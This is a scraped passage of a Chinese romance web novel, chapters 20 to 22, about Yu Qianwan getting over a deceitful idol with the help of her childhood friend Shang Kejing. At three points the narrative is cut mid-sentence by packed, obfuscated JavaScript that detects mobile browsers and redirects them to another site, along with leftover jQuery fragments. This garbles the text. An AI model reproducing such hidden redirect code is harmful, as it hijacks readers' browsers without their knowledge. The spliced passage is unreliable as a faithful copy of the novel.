但比里面的信先露出的是一张褶皱得不成样,且明显因为过去太多年有了岁月痕迹变黄的小纸片。 上头的字迹也颇为稚嫩。 ——【我,商恪景,正式向虞千绾道歉,并欠她一个要求,她可以在任何想用的时候在反面写任何要求,就算被我哥打我也会去做! 期限:1000万万年!】 八岁那年的虞千绾留着可爱的齐刘海,刘海微微长长有些遮眼,商恪景拿起剪子就说帮她剪,他寻思就把长长的那一小截刘海剪了不就得了? 虞千绾起初是不同意的,但看商恪景说得一本正经,想想好像也是,就同意了。 最后不出意外,刘海被剪得像狗啃的一样。 虞千绾大哭一场,还在家门口划了条禁止全世界最讨厌的商恪景进入的线。 这对小朋友来说,可是一件非常非常严肃的事情,更何况还被好朋友称之为全世界最讨厌的人。 商恪景吓坏了,用所有零花钱给虞千绾买小礼物买零食,哄了好久虞千绾却还不想和他和好,他没招了,天天在家伤心地哇哇哭,最后他在哥哥的引导下想出一招,把自己的头发剪残了去找她,虞千绾才终于没绷住在他面前露出笑,虽然是被丑得滑稽笑的,但总归是笑了。 商恪景赶忙央着求和,这张小纸条便在幼稚的年岁交谈间出现了。 这么多年过去,商恪景虽能清楚记得那件事,两方家长亦时不时以此为笑谈,但对这张纸条的记忆已有些模糊。 这张纸条还是彼时急于向虞千绾表态的商恪景顺手从某个书页的边缘撕下来的,小小的、不太规则的一张,他怎么都没想到虞千绾会留了这么多年。 而今,她在纸条的背面写——【虞千绾和商恪景不可以再闹矛盾】 后头还跟了个哭哭脸的简笔画。 “好幼稚啊虞千绾。” 商恪景对着纸条低喃,语调却分外上扬欢快。刚还有些复杂矛盾的脸上现在全是笑。 上一秒蛐蛐过虞千绾幼稚的商恪景,下一秒很不幼稚地跟拿宝贝似的拿着这张纸条在家里到处比对,思考放在哪里珍藏比较好。 20. 第 20 章 有生以来第一次喝醉,加之睡前哭了那么久,身心俱疲,虞千绾一觉直接睡了十个小时出头。 幸而昨晚喝的酒度数都不高,她醒后并没感觉到太多宿醉后的不适,就是脑袋有种淡淡的迷糊闷胀感,但一时间分不清究竟是睡太久还是醉酒所致。 除此外,虞千绾还有些断片,但又没完全断片,记忆碎片化,朦朦胧胧对某些场景有记忆,就像是一页跟着一页弹出的PPT,有些弹出的新一页与上一页有关联,有些却是直接开启了新章。 但最糟糕最直观的还是虞千绾的眼睛。 前两天乍然从商恪景那得知常桦的事后又和商恪景闹别扭,爱情友情双受挫,她本就默默流了不少眼泪,使得眼睛又涩又疼的有些敏感脆弱,结果昨晚和凌晨的那一番爆哭彻底让她的眼皮肿到了前所未有过的程度,眼睛内也有着一阵一阵的刺痛感。 眼皮肿着,虞千绾还碰不得。 一碰更疼。 她只能要碰不碰地虚虚将手掩在眼前,另手摸过手机,眯着眼睛给商恪景发消息求救。 [SOS] [醒了嘛醒了嘛] [能不能用毛巾包点冰块来给我啊] 商恪景那边秒回:[醒了] [怎么?] [要冰块做什么?] 仅是看到对话框的左边迅速弹出新的消息,虞千绾还没看清具体内容,唇角就已经漾开些柔柔的笑了。 这样真好,再不是前些天联系不上他,就算联系上也只是寥寥几句的僵持状态了。 [眼睛肿了,肿好大,急需冰敷拯救一下] 商恪景:[我这边有冰袋,现在给你送去] 虞千绾直接回了个跪下感恩的表情包就顺手将手机灭了屏放在一旁。 屋内一片漆黑,刚睡醒的眼睛本就不适应手机刺出的光亮,何况她这眼睛还正在虚弱期,连稍微睁大些都嫌疼。 她就闭着眼,躺在床上等着商恪景。 屏蔽了视觉,听觉就变得格外灵敏。 虞千绾竖着耳朵仔细听着商恪景开门,关门,朝她卧室走近的动静。 只是这么听着,她就感觉周身舒展,心口暖洋洋的。 “咚咚咚。” 商恪景先叩了叩门再按下门把手缓缓推开。 虞千绾虚眯着眼侧首朝门的方向看去,本就模糊的视线因泄入的光亮短暂花了刹那,然后聚焦清晰起来,逐渐适应的柔和室外光与商恪景那张无比熟悉的脸一同出现在她狭窄的视野中,几乎将她的视野占满。 见她还躺在床上似有不适的状态,商恪景问了句:“我进来了?” 虞千绾嗯了声。 屋内没开灯,窗帘也拉着,仅有门外泄入的光亮,商恪景便在进门时将门开得更大些,以便照亮屋内方便动作。 商恪景一身睡衣,踩着拖鞋,头发微微有些凌乱,显然也是收到了虞千绾的消息才从床上起来的。 但手上拿着的东西可不粗糙,一手拿着冰袋和毛巾,一手拿着眼药水,细致给她准备好,“还给你带了瓶眼药水,用吗?” “用,但我先冰敷吧,不然感觉眼睛都要睁不开了。” “行。” 商恪景弯腰先将眼药水放在了床头柜上,另手将毛巾包裹在冰袋外再递给虞千绾,“这毛巾全新的,我没用过。” “嗯……” 虞千绾心口有些翻涌,她也不知道是因为最近自己刚失恋有些脆弱敏感还是和商恪景闹过别扭后更知道珍惜,总归曾经许多他们常干的事,她现在却觉得弥足珍贵。以前,她当然也很珍惜他们的感情,但他们实在认识太多年,很多事都要当做下意识的习惯了,极少会有这样矫情的感怀。 冰袋刚裹在毛巾里,冰意还未彻底沁到毛巾外,只有细微的冰感,放在眼睛上不至于太冰。但虞千绾的眼皮太肿,毛巾或多或少也会和肿胀的皮肤有些摩擦,刚贴上的前半分钟,她还是痛到接连倒抽了好几口凉气,后来适应便好了些,静静闭目冰敷。 见她手估计是一直扶着毛巾扶累了,开始愈发频繁的换位置,商恪景坐在了床边,帮她扶稳,“我来吧,你就躺着,要是不舒服跟我说。” 心口的翻涌更甚,虞千绾到底没忍住把心底里觉得有些矫情的话吐出,“商恪景,你简直是全世界最好最好的朋友。” “我当初一定是脑袋坏了,放着好朋友不珍惜,把时间花了那么多在一个渣男身上。” 她这么直截了当地提到常桦,商恪景反倒怔愣了下。 从昨夜到今日,甚至是之前每每想象她决定放弃常桦的时候,商恪景一直都抱着给她时间的心态。 毕竟他们都是偏感性的人,对待真心爱重的人其实不会太讲道理,只要不是什么太严重的、太伤天害理的事情,他们都会选择站在亲近人的身边陪伴。 正因为知道虞千绾性格是这般,所以商恪景打算这段时间都不会主动在虞千绾面前提起常桦,给她默默消化的时间,哪知她这么快就率先提到了常桦。 话在嗓间滚过了几个来回,商恪景最终还是没多聊常桦,只用简单八个字浅浅揭过他陪着她一起经历过的她与常桦的这四年,“你才知道,重色轻友。” 眼睛冰敷着不能睁开,没看的没玩的,虞千绾话匣子就这么打开,“这事我确实做得不对我认,但是你也别把话说太早,等你以后有了喜欢的人说不准比我还过分。当然——” 虞千绾话锋一转,“不希望你遇到一个他那样的人。” 商恪景毫不担心的戚了声,“我眼光比你好多了。” “知人知面不知心。” “真陷到爱情里,一切都仿佛被添上了层滤镜,看对方什么都是好的。” 虞千绾一副过来人的调调这么说。 商恪景听着不爽,“虞千绾,咱俩都是母胎单身,你教育谁呢?” 虞千绾轻嗔:“我这不是自己受了伤长了教训第一时间想告诉你,让你别步我的后尘嘛!好心没好报。” “我喜欢的人,人好面好心也好。” “哎哟,商恪景你看看,你就是个恋爱脑,那个人还没出现,你就这么夸赞了?” 商恪景看着虞千绾揶揄的嘴脸突然感到好笑,某些人完全不知道她就是个人。 这么想着,商恪景更加理直气壮,“对啊。只需你当恋爱脑,我当不了?” “别说了。” 虞千绾突然做了个攥着手往胸口虚拟插刀的姿势,“恋都没恋上,还恋爱脑呢,不过幸好没恋上,否则要成案底了。” 听她一句说得比一句狠,一句比一句直白,商恪景这才深入些去提,但声音比之之前的交谈声略轻了些,“你这……这么快就完全放下他了?没喜欢了?” “没有喜欢了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16319668|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这五个字虞千绾回答的非常迅速非常果决,“但说放下,确实还不能那么快,毕竟这么多年,我确实心里面还有些难受,或许现在身边有你陪着讲着话还挺理智清醒的,到晚上的emo时间一个人陷在情绪里可能还是会难受,但这个难受只是对我自身,心疼我自己的喜欢,我放在他身上的精力,我的付出。如果他一开始就拒绝我,我肯定不会这么想,毕竟感情哪就那么顺利两情相悦的,但他在欺骗我。尤其——” 虞千绾话语一顿,声调也微微轻淡了些,“昨晚亲耳听到他对周映灵说的那些话后,我已经对他整个人彻底失望了。真正下头的那个瞬间是,他意识到一切都是周映灵做的局还想来拉我狡辩的那刻,我感觉这个人简直太会装太不要脸了,都这样了,他居然还想利用我,我才真正意识到我之前给他留下的印象有多好骗单纯,否则他也不能这么明目张胆,这么的……让人反胃。” “而且,我听着他拿对付我的那套去对付周映灵却全都没用的时候,我觉得挺丢人的,周映灵一个字都没信,我却信了这么多年。” “总之,我确定我不喜欢他了,至于别的情绪可能还需要些时间才能彻底消解。” “很棒啊虞千绾同学,你比我想象的走出来的速度还要快。” 虞千绾突然垮起个哭脸,“你别信我太多,我现在清醒着这么说,晚上emo情绪上头,我可能又绷不住想哭了。很多时候,我并不能说到做到。” 商恪景看她两级反转的样子,没耐住声轻笑,“那就咱俩天天待在一起呗,等到你是在困了想睡觉了我再走,这样你就没什么独自emo的时间了。” “那当然好啦,作为报答,这段时间的吃喝我都包了。” “行,千绾总豪气。” 两人同时笑出声。 虞千绾心口闷着的那股郁结之气也跟着笑声和交谈在无意识间一点点散去。 冰敷不能太久,可能会冻伤。 商恪景估摸着时间差不多就拿下了冰袋,没再给虞千绾敷眼睛。 眼睛依旧有些不舒服,但比刚起床那会儿好多了。 虞千绾拿过眼药水,往左右眼里各滴了一滴,然后闭眼又缓了几分钟。 再睁开眼,不适感已经被降到最轻了。 见她眼睛刚好些就要拿手机玩,商恪景轻啧了声,“虞千绾你网瘾少女啊,眼睛不舒服少看电子产品。” “我看一眼。” 虞千绾依旧拿起,要面子地咕哝,“昨天被周映灵看到那一幕,还不知道怎么笑话我呢,我看看她有没有再给我发短信,再看看有没有人已经知道给我发微信了。” 商恪景无声闷笑。 出奇的,虞千绾手机里干干净净。 没有昨天那条未知号码发来的短信,也没有好友从旁人那听来这个转了几次的瓜偷偷告诉她。 拿起手机,虞千绾脑海里倒是又跳出一帧原本遗忘的画面,“诶,我昨天是不是让你帮我删掉账号里面常桦的视频了?” “嗯,但我没删,给你隐藏了。” “你干嘛不删?” “怕你今天后悔。” 虞千绾一时间有些语噎,“我给你留下的印象这么差吗?他都这么对我了,我还后悔什么?” “那你自己删。” 商恪景朝她手机屏幕里的微信页面抬了抬下颚,“正好,先从微信开始。” 21. 第 21 章 虞千绾又是一噎。 商恪景睐来一眼,用一种轻飘飘的语调阴阳怪气,“干嘛?还没到深夜的emo时刻就狠不下心了?” 虽然很不想承认,但虞千绾确实在听到商恪景提及删除常桦微信时,脑海里冒出了很多情形。 就比如当年常桦的微信虞千绾只是随大流加上的,加微信的时候她仅当这是个随手的动作,哪里会想到这么小这么小的一个小动作却像蝴蝶效应似的牵扯出后面这么多年的事。以及,这四年间,她换了好几个手机,但每次换手机的第一件事就是检查和常桦的微信聊天记录,生怕有些没转移到新手机上丢了与他的回忆。 不过这些都与现在的常桦无关。 很多时候,放不下的人或事,并不是当下的,而是记忆里的那些朦胧的、带些自我滤镜遐想的美好。很多人却傻傻地抱着回忆走在未来中无所觉察,还用记忆给未来赋魅。 虞千绾觉察到这点,所以今日商恪景即便不提,她也会在24小时内删除常桦的所有联系方式,但她会给自己留一定的时间回顾一下过往,和自己的经历告别,不会这么快。大抵也是有些不舍找理由再多停留一会儿的情绪在的,毕竟第一次喜欢人却以如此惨淡的结局收场,她的一颗热忱之心被捶打的七零八碎。 可有了商恪景这番话,根本遭不住激将法的虞千绾被猛推了一把,怕被笑话的她当即嘴硬做出决定,“删就删。” “是吗?你该不会说一套做一套吧?” 商恪景有些欠揍地探头往她手机旁凑了凑,一副很不信的样子。 虞千绾恼然地将手机屏幕朝他的方向转去,当着他的面从微信朋友圈退出,回到微信主页面。 指腹刚触在屏幕上打算下滑在聊天框里寻找常桦删除的时候,她突然想到,常桦的聊天框被自己删除了。 转而,虞千绾又戳入了好友列表去找常桦的微信,手指一下没停地点到删除好友页面,特意在删除之前将手机又在商恪景面前晃了晃,然后缓慢但重地在屏幕上狠点了一下,删掉了常桦的微信。 商恪景没说话,就是唇角的笑不知道什么时候扬起的,愈发压不住,笑得别提多灿烂。 “不至于吧?” 虞千绾眉毛疑惑浅皱,“我不就是删掉了常桦嘛?你怎么开心成这样?” 商恪景微微坐直些身子没再看她的手机,神情难掩得意,眼睛都笑到似噙星河,唇瓣一张直击重点,“虞千绾,你把我设成微信置顶啊,我对你这么重要呢?” 没想到他的关注点在这,估计是刚刚屏幕滑到微信主页面的时候被他偶然看到了。 冷不丁被点出,虞千绾有些别扭,但面颊上不显分毫,小脸微抬着很理直气壮地回:“很奇怪吗?我们不是好朋友吗?” “咱俩也不是最近才当好朋友啊,之前你置顶不就常桦一个?没见你把我放在置顶上。” 有时他们聊天会截图发给对方,商恪景早就在这样的细节里发现常桦是虞千绾的微信置顶,并没有他。 事实如此,虞千绾一时间回不过话,但又羞于去反复承认他这个朋友对自己的重要性,尤其还得面对着商恪景这么嘚瑟且欠欠的表情。 转头她就换了个思路开始反击,“你还好意思说我?那我的微信置顶现在好歹是你,你的微信置顶什么时候是我过?” “你一直——” 话语下意识的就要泄出隐藏多年的感情,商恪景当即闭了嘴,硬生生将话憋住吞下。 虞千绾面上瞬间展露笑颜,自以为赢下一城,傲娇的下颚抬了抬,洋洋得意,“怎么样?从微信置顶的角度来看,我比你做朋友做得更合格吧?” 商恪景偏过头看着空处,略有深意地笑了声。 “行。” 他转而拿起手机点入微信,手指一番假动作,给虞千绾营造出一种正在把她设置为置顶的假象。然后,他将手机屏幕转过去给她看,“现在你也是我的微信置顶了,以后要是被我逮到你偷偷把置顶撤掉,你就死定了,说明你这朋友做得非常不合格。” 曾经这么多年,商恪景每次在她面前点开微信都会稍加注意略将手机回扣些,以防被她发现她是他的微信置顶,时而给她截图时也会特意截掉置顶的那一截。 当下还是这么多年来,商恪景第一次这样光明正大的把微信置顶展露给虞千绾看,哪怕虞千绾完全没多想,商恪景的呼吸却还是微窒了须臾。 “必不可能!” 虞千绾雄赳赳气昂昂地说:“把你放在置顶上也是在提醒我,不能再恋爱脑,我得封心锁爱一段时间。” “最好是。” 长久的陪伴让商恪景都不太敢奢望虞千绾喜欢上他,他只希望虞千绾不要喜欢上别人,这样,他们就能以朋友的身份相处一辈子,如此就很好了。 - 商恪景其实是被虞千绾的消息声吵醒的,他凌晨将虞千绾送回来后又过了许久才睡着,压根没睡足八小时。 他在睡前就意识到自己睡得太迟了,怕虞千绾不舒服给他发消息他收不到,就在睡前特意将手机铃声调到最大,以便第一时间看到她的消息并给予回复。 而今,见虞千绾睡饱了开始恢复活力,商恪景的担心褪去不少,困意渐渐袭来,他开始一个哈欠接着一个,人也有些懒散的想躺下,但女孩子的床不方便,他便起了身晃荡了几下醒神,“没事我就先回去了,再补会儿觉,又困了。” “行,那你睡醒想吃什么?我订个餐厅到时候一起去吃顿好的。” “我都行,你定。” “ok。” 临走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16328123|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视线滑过床头柜依旧安静摆放着的保温杯,商恪景又驻足问了句:“蜂蜜水喝过没?” “啊?”虞千绾懵然看他,“什么蜂蜜水?” 商恪景故作漫不经心地往床头柜指了指,“就保温杯里的。凌晨那阵你想吐,我就给你弄了杯解酒,但你那会儿肚子里都是酒水,喝不下去多少,我就把剩的都放在保温杯里了。正好你刚不是说头还有些胀吗?喝点应该会舒服些。” “哦好,我才发现这有水,马上喝。” “行,我走了。” “拜拜~睡醒记得给我发消息,我们去干饭!” “好。” 商恪景离开后,虞千绾彻底把心思都放在了经营的账号上。 因为凌晨视频全部隐藏,不少爱看她视频的受众发来私信询问情况,她的私信都快要炸了,99+。 常桦的粉丝群也没好到哪里去,消息一条接着一条弹,可以说,虞千绾极少见群里有这么热闹、活人感这么足的时刻,还有些人直接发了视频八卦有没有知情人。 不过常桦没多少粉丝,所以这事在互联网上没闹多大,就小面积传播着,但在粉丝内部影响程度很大。毕竟娱乐圈有那么一句广为流传的话——大粉跑路多半是真塌房。遑论还是虞千绾这种陪伴了这么多年的氪金大粉。粉丝内部一下慌了神,猜测不断。 除此外,虞千绾还收到了一些熟悉ID发来的私信,大多是曾一起参加过线下应援活动的。她们都没过问太多,只是在私信里写着小作文怀念她们一起走过的线下,共同产生的回忆,祝福她现生快乐,字字句句都是那样的真切。 虞千绾看得心头感慨万千,尤其粉丝里还有好些是因为她的安利视频了解到常桦去喜欢他的,一想到这些,虞千绾就格外担心,担心不知情的人继续喜欢常桦,也担心还有新人涌入。 唯一值得庆幸的是,常桦真的不火,在娱乐圈查无此人,作为网红,他又不怎么开直播,并没从粉丝身上圈到多少钱。 毕竟也没那么多少人会像她这样傻,送钱送到这个地步。 虞千绾自嘲了两秒,切换手机软件进到剪辑视频的APP,用半分钟不到的时间做出了有史以来最为简短的一条图文视频。 没有任何BGM,也没有任何精心的剪辑,简洁明了的黑色背景上有着两个超大号白色字: 【快跑】 然后,虞千绾直接删除了被商恪景隐藏的那些视频,账号的总点赞和总评论量瞬间清零。 到底是自己一点一点经营建设起来的,看到的瞬间,虞千绾的眼睫没禁住轻眨了下,轻呼口气,她将ID和简介全部改为空白。不忍再回顾未读栏里的那么多昔日的评论与私信,她退出账号登入自己的日常号。 全平台账号都只留下了这么一条提醒。 22. 第 22 章 再一次睡醒后,商恪景给虞千绾发了消息。 两人简单收拾后出门吃饭。 眼睛太大在这种时候也是个苦恼,虞千绾的眼皮经过断断续续的冰敷后虽然没刚醒来时肿得那么夸张,但依旧很明显。 或许在正常的社交范围内旁人不会在意,但虞千绾自己很在意,她就是觉得很滑稽,于是搭配着衣着挑了副墨镜戴上完全把眼睛遮掩住不让人有瞧见的可能性。 商恪景揶揄她说不知道的还以为是哪个顶流女明星出街。 虞千绾全然不羞臊地应下,骄矜微扬下颚,只道自己这颜值要是进军娱乐圈,当上顶流也只是时间问题罢了。 商恪景心里自然是非常非常认同虞千绾颜值的,在他眼里,她绝对的最好看的异性。而且在他们这圈子里,管他什么顶流一线十八线的明星,统统都视作一样,并没什么特殊,毕竟没多少上阶层的人会去关注下下下阶层里分出的三六九等,就连家里开娱乐公司的周映灵在他们圈子里都只是地位平庸的那类存在,无关傲慢,只是生来环境便是如此。 但嘴巴上,商恪景说不出直白夸赞虞千绾漂亮的话,起码没法用一种诚心的语调说出,那种情况仅在小部分时刻才会被触发,大多时候他们都保持着一种欢喜冤家的相爱相杀态,譬如此刻,商恪景的回话很是欠揍,“那顶流能不能先把墨镜摘下来以正面目示人?” 虞千绾当即朝着商恪景扫去一个眼刀,但被墨镜遮挡着毫无杀伤力,她恼羞成怒,追着商恪景打了好一截。 幼稚要命的举措,压根不像两个二十多岁的人,倒像是小学生。 不过商恪景将度拿捏的刚刚好,他没逗虞千绾太久,感知到她要跑不动真要生气的时候,他就减速缓停,自觉让虞千绾逮住打了几下发泄。 但没多久,笑闹又起。 只因虞千绾的墨镜在去到餐厅用餐时也不肯摘下,全程戴着吃。 视线免不得昏暗些,她不小心把生姜看成了肉块,径直用筷子夹住送入口中,齿尖清脆一下咬开,辛辣瞬间在舌尖爆开,虞千绾五官瞬间痛苦皱起,低低啊了声,这才意识到自己认错了食物,奈何吐出时为时已晚。 商恪景第一时间给她递来了水,见她面色稍霁后当下那秒的紧张褪去,转而肩膀开始因笑轻颤。 虞千绾越涨红着脸不许他笑,他身子颤抖得越厉害,甚至还没绷住笑出了声。 自觉丢人的虞千绾一听也没绷住,顿时破了功也捂脸笑出声。 最后俩人双双笑趴在桌子上。 饶是如此,虞千绾依旧要面子的还不肯摘下墨镜。 刚从桌子上起来的商恪景又笑弯了腰。 - 因为商恪景的存在,他的陪伴,他们一起的笑闹。 虞千绾一整个白日都没太沉浸在悲伤的情绪里,包括冷不丁收到常桦经纪人的微信消息时。 虞千绾曾因参加常桦邀请的公司聚会活动见过他经纪人詹姝瑗一次,在那次,詹姝瑗主动找她交换了联系方式。 出于礼貌,虞千绾自然不会拒绝,两人的联系方式就这么顺理成章加上,但加上后就在对方的好友列表躺尸,并没有过任何对话交流,顶多就给对方的朋友圈点点赞。 但今日,詹姝瑗却突然主动发来了消息打破了这份礼貌的平静。 原因无需多问都想得到,定然是为了常桦而来的。 虽然常桦现在并不是詹姝瑗的重心,但詹姝瑗也在常桦身上花了不少心血,是她栽培起来的艺人,她自然还是想帮他说话的,于是来找了虞千绾试图将事件影响降到最低。当然,最怕的还是虞千绾真把事做绝,动用家里势力封杀了常桦。 詹姝瑗接连发了两个小作文,篇幅颇长,几乎占了手机的两三个屏幕。 话语看起来温和有礼,也先着墨许多站在虞千绾这边帮她说话,指责常桦不好,但最后也没少提常桦的好。 字实在太多,密密麻麻的,虞千绾眼睛本来就不舒服,看着更嫌眼睛疼,她懒得去细看,视线只草草带过,而且她就算不看都知道詹姝瑗目的是什么。 性格直接的虞千绾很不喜欢这种大家分明都心知肚明却还装傻迂回的举动,更何况她和常桦掰了,跟詹姝瑗更是毫无交情,她没必要在这处理他们的情绪他们的恐慌。 并且,詹姝瑗的担心非常非常多余,虞千绾压根不想再放什么注意力在常桦的身上,很不值得,她的时间比常桦值钱不知多少倍。也很没意思,常桦这个人没意思,这件事也没意思。 一如庭院那晚,她丢给常桦的最后一句话“今日以后,我所参加的场合,你怕是连张入场券都拿不到。” 他们本就不是一个世界的人。 没了爱意后的虞千绾理智完全回笼,她现在的念头大多放在嘉澍集团上,马上就要国庆节了,她将要去拍摄视频经营新的工作账号了。 她当然能把事闹大,可如果闹破圈了,到时候她的工作新账号下估计都是这事,影响她的工作开展,这是个很不值的举措,若不是担心那批因为她的视频关注到常桦的粉丝继续被蒙在鼓里,她连那条视频都不会发,因为想整常桦实在有太多手段,一通电话就好,无需摆在台面上伤敌一千自损八百。 常桦的一千和她的八百显然不是一个量级。 而且,把他和她还有周映灵放在一起,简直不要太给他拔高身份……她还嫌丢人。 但这些话,虞千绾自不会直接和詹姝瑗说,跟商恪景咕哝了句“光记得删除常桦忘记删除她了。” 转手也送了詹姝瑗拉黑删除一条龙服务,一个字没回复,让他们自己狗咬狗的惴惴不安去。 商恪景看着虞千绾在面对纠缠时也淡定自如,情绪并没太大的起伏,甚至下一秒就跟他开开心心聊别的东西了,还在心里为她松了口气,觉得她已经从这关踏出一大半了。 但晚上,商恪景依旧没松懈,还是依着承诺的话留在了虞千绾家里陪着她,没让她独自一个人有emo的空间。 想着气氛需要欢快,商恪景还特意挑了部喜剧片子和她一起看。 但他忘了有一句评价喜剧很经典的话——喜剧的内核是悲剧。 商恪景挑选的这部片子其实也没那么悲,整体都是比较好笑的,但其中的某个小点突然就戳中了虞千绾的内心,她将片子认认真真看了进去,看到结尾的时候都没哭,却在用手机去网上搜影评讲解的时候红了眼眶。 商恪景及时攥住了虞千绾的手腕,没让她在哭泣的时候无意识去揉眼睛,否则她这刚有些好转的眼睛明天起来怕是又得肿得不成样。 商恪景在挑选这部片子时绝没想到这部片子的后劲会这么足,足到他看着虞千绾分享来的那些影评时心头都有些复杂。 不过听着虞千绾掺杂上自我理解的那些话,商恪景意识到她在说电影,但又不仅仅是电影。于是,他安静着做聆听者。 今天的虞千绾很快就调整好情绪,没有在悲伤和眼泪里陷太久,甚至还在理智压过感性后自我揶揄说:“果然,我最担心的画面还是发生了,还是这么没出息。” 商恪景却是笑着摇了摇头,“你已经很坚强了,心也像一座房子,受损了,修建总是需要些时间的。” 虞千绾眼圈蓦地又有些红,当即别开了视线不敢再同商恪景对视。 商恪景见状也低下了头不看她,给她自我调整的时间。 他们的关系总是这样,各种平淡和激烈的情绪都可以肆意表达,但暖心的宽慰会让他们束手无策。尤其还是当下这种情绪并没那么浓烈,话却极尽温暖的时候。 虞千绾想,大概是异性好友的原因,不能像闺蜜那样直接扑到怀里紧紧依偎着求安慰,总是要保持些微妙距离的,而且他们打小就是闹闹笑笑过来的,细腻与安慰不是他们的惯有表达。 楼梯前那样失控的拥抱是极少极少数情况。 - 虞千绾和商恪景都是有些宅的人,平常不太喜欢出门,但这几天,商恪景总拉着虞千绾出门。 出门倒也没什么很重要的事,就是简单的散散步逛逛公园,以此让虞千绾看看风景呼吸呼吸新鲜空气转移些注意力,不至于总窝在家里的那一方天地盯着手机。 就这么过了三天,国庆节假期正式到来。 虞千绾的眼睛明显好了些,早起冰敷后基本看不出红肿了,就是还有些仅自己可以觉察到的干涩,但并不那么严重了,时而不去刻意去想她自己都感受不到,一如她的心。 嘉澍集团旗下购物平台宣传广告和海报就在明日开拍,虞千绾得去现场拍摄花絮作为自己新账号的第一条内容,同她对接的工作人员今日发了好些消息过来与她沟通,她仅存的那么一点时间也被拉了过去,全身心投入其中。 商恪景照旧来找她出门,却见虞千绾已经精神大好地盘腿窝在沙发里电脑架在腿上跟人聊着工作,而非前些日子那般丧丧地蜷缩在卧室里不想起。 她的手机开着扩音,商恪景推开门就听到,脚步当即放慢。 虞千绾也听到开门声音,扭头指了指自己的手机同他示意。 商恪景了然地颔了颔首没打扰她,自觉坐到沙发另侧静音玩手机。 小插曲很快过去,虞千绾很快又投入工作中,双手在电脑键盘上飞速敲击着,手机就免提放在一旁。 商恪景偷睐了她眼,倒还真有了些平日里揶揄的“千绾总”的姿态。 许是见虞千绾工作的认真,商恪景有些自愧不如,默默起身回家把自己的电脑也拿了过来,还带了几本专业书,撸起袖子干起了本科毕业论文。 不多时,虞千绾的电话挂断,客厅里没了人声,只余电脑的敲击声此起彼伏地在客厅响着。 身处在这样的环境里,商恪景突然感觉学习、工作也不是件多痛苦的事。 只要一抬眼看到她,就很好。 当然,也就是这么想。 如果真去工作,他还是不乐意的,毕竟他俩不在一家集团,工作地点不像现在这么惬意随性。 “叮叮叮——” 虞千绾微信铃声忽响,商恪景一秒转回头,只闻虞千绾接通电话后语调微微困惑的同那头人说出他的名字,“商恪景?” 商恪景这才光明正大地侧目看向她,单眉微抬带着些询问。 但虞千绾正在和手机那头对话,尚没时间回应他。 “哦哦,这样啊。” “行,我问问他哈,毕竟他前段时间也受伤了,刚养好没多久,也不知道行不行。” “嗯嗯,我问完就给你发消息,你别急。” “没事~不客气。” 商恪景越听越好奇,全神贯注地盯着她。 虞千绾一边挂断电话,他一边开口问:“谁?” “我室友,盼雁。” 虞千绾将刚刚的电话内容转述给商恪景听。 事情是与徐盼雁的男朋友魏明轩有关,魏明轩同她们虽然不是同专业的同学,但归属于一个学院。 虞千绾是因为室友才知道魏明轩这个人,他时不时会来教室陪徐盼雁上课,也在食堂一起吃过饭,所以打过几次照面。商恪景则是因为打篮球知道的魏明轩,他篮球打得不错,大一大二的时候经常会在球场跟一行人约着打球,魏明轩篮球打得也好,还是校篮球队的队长,两人因打篮球相识,时不时会有共友邀请一起打篮球,但也仅限于此,并不太相熟。 大概在月底,二十号出头的那段日子,各高校之间的篮球赛将要展开。 作为校篮球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16334962|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队的队长,魏明轩这段时间注意力都放在上面,不仅是出于做队长的责任心,还因为这是他毕业前的最后一次大型球赛了,他想带着球队赢得胜利,这次比赛后他也要从队长的位置上退下,让给学弟担任了,所以这次球赛对魏明轩来说很重要的意义,算是他大学生涯的收官之战。 自知这段日子光顾着练球没怎么陪伴女朋友,后续打比赛的那段时间也没太多时间,魏明轩便趁着国庆假期约徐盼雁出去旅游,多陪陪她。 哪知就这么倒霉,走路的时候一个不察,没发现脚下的路其实是不平的,而是有截高度的小台阶,但颜色太近似,天色又昏暗,他意识到的时候人已经摔下去了,脚踝被崴到。 医生给出的诊断自然是让他好好休息,月底不要再打篮球这种剧烈运动了,但魏明轩放不下心,他接连给几个篮球技术不错的兄弟打了电话,想问他们能不能来救场替他上场,但大四了,大家都忙着为自己的未来奔波,有些人甚至已经在实习了,不似昔日有那么多的空闲时间花在爱好上,都婉拒了魏明轩。 魏明轩自然也想到了商恪景,但他连熟悉的人都喊不过来,哪里好意思临时去喊不怎么熟悉的商恪景,何况篮球赛前期筹备阶段,魏明轩就有联系过商恪景要不要参加,商恪景已经拒绝了,他便没再找,打算自己上,想来休养个二十天也能凑合着上,因为旁的那些能想到的人就算喊来球技也很一般,还不一定比得过有些小伤的他。 